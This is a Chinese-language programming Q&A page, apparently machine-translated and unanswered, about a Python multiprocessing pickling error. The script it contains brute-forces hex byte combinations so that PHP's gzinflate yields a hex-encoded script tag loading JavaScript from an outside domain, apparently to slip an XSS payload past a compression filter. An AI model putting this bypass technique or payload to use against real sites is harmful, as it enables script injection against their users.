这是我的脚本,我试图强制执行一个十六进制值,当它膨胀时,它不会显示错误(获取十六进制的膨胀值),方法是在一个.txt file中添加十六进制,其中使用np.memmap保存python列表。 .txt文件包含此格式的十六进制字符串
['0x9','0x88'] # the first value is the prepend and the last the append
脚本继续使用for循环猜测正确的十六进制值,如果脚本得到正确的组合,则停止。 我正在使用multiprocessing.Process通过切片列表对.txt文件进行分区
p1=mp.Process(target=bruteForce,args=(newfp,1,2475,txtlog,payloadAttempts,foundtxt))
p2=mp.Process(target=bruteForce,args=(newfp,2475,4950,txtlog,payloadAttempts,foundtxt))
p3=mp.Process(target=bruteForce, args=(newfp, 4950, 9900, txtlog, payloadAttempts, foundtxt)
其中第二个和第三个参数是分区的开始和结束。 运行我得到的脚本
TypeError:无法pickle'\u io.TextIOWrapper'对象和EOFError:输入用完
#!/usr/bin/env python3
from multiprocessing import Pool
from time import perf_counter
import subprocess
import re
import time
import pickle
import numpy as np
import multiprocessing as mp
def bruteForce(thelistTocheck,start,end,txtlog,payloadAttempts,foundtxt):
for combi in thelistTocheck[start:end]:
payloadDeflateBypass = '3c534352495054205352433d2f2f4242502e50483e3c2f5343524950543e'
payloadDeflateBypasswithPermutation = payloadDeflateBypass.join(combi)
#lock should be here
payloadAttempts.append(payloadDeflateBypasswithPermutation)
command = ['php', '-r', 'echo bin2hex(gzinflate(hex2bin("' + payloadDeflateBypasswithPermutation + '")));']
result = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, errors = result.communicate()
result.wait()
print(errors.decode('utf8'))
if (re.search('^PHP', errors.decode('utf8'))):
print('not found') # still looping
#!!!!!!!!!!! lock
print(payloadAttempts[-1])#!!!!!!!!!!! lock
txtlog.write(str(time.time()) + ':FAILED!!!!!!' + ': ' + payloadAttempts[-1] + '\n')
# log all attempts and save into a txt file#error message
# the tried hex value saved @ permutationWithPayloadCombined variable
# timestamp
else:
print('stop the loop, search found')
print('the inflated hex value: ')
print(payloadDeflateBypasswithPermutation)
print('The hex you should use: ')
print(result)
# save as well
# timestamp
#!!!!!!!!!!! lock
foundtxt.write(str(time.time()) + ':FOUND!!!!!!' + ': ' + payloadAttempts[-1] + '\n')
break
if __name__=='__main__':
start = perf_counter()
newfp = np.memmap('fdsdf18268p1jdDd.txt', dtype='U20', mode='r', shape=(9901, 2))
originalLengthOFtheList=len(newfp[1:])
logFile = "log/" + str(time.time()) + '.txt'
txtlog=open(logFile,'a')
foundtxt=open('log/found.txt','a')
payloadAttempts = []
#partition=
p1=mp.Process(target=bruteForce,args=(newfp,1,2475,txtlog,payloadAttempts,foundtxt))
p2=mp.Process(target=bruteForce,args=(newfp,2475,4950,txtlog,payloadAttempts,foundtxt))
p3=mp.Process(target=bruteForce, args=(newfp, 4950, 9900, txtlog, payloadAttempts, foundtxt))
#p4=mp.process(target=bruteForce, args=(newfp, 1, originalLengthOFtheList, txtlog, payloadAttempts, foundtxt))
p1.start()
p2.start()
p3.start()
#.start()
p1.join()
p2.join()
p3.join()
print(f'Total time: {perf_counter() - start:.4f}s')
# use lock for logs
# pass all list combination in the arguments
目前没有回答
相关问题 更多 >
编程相关推荐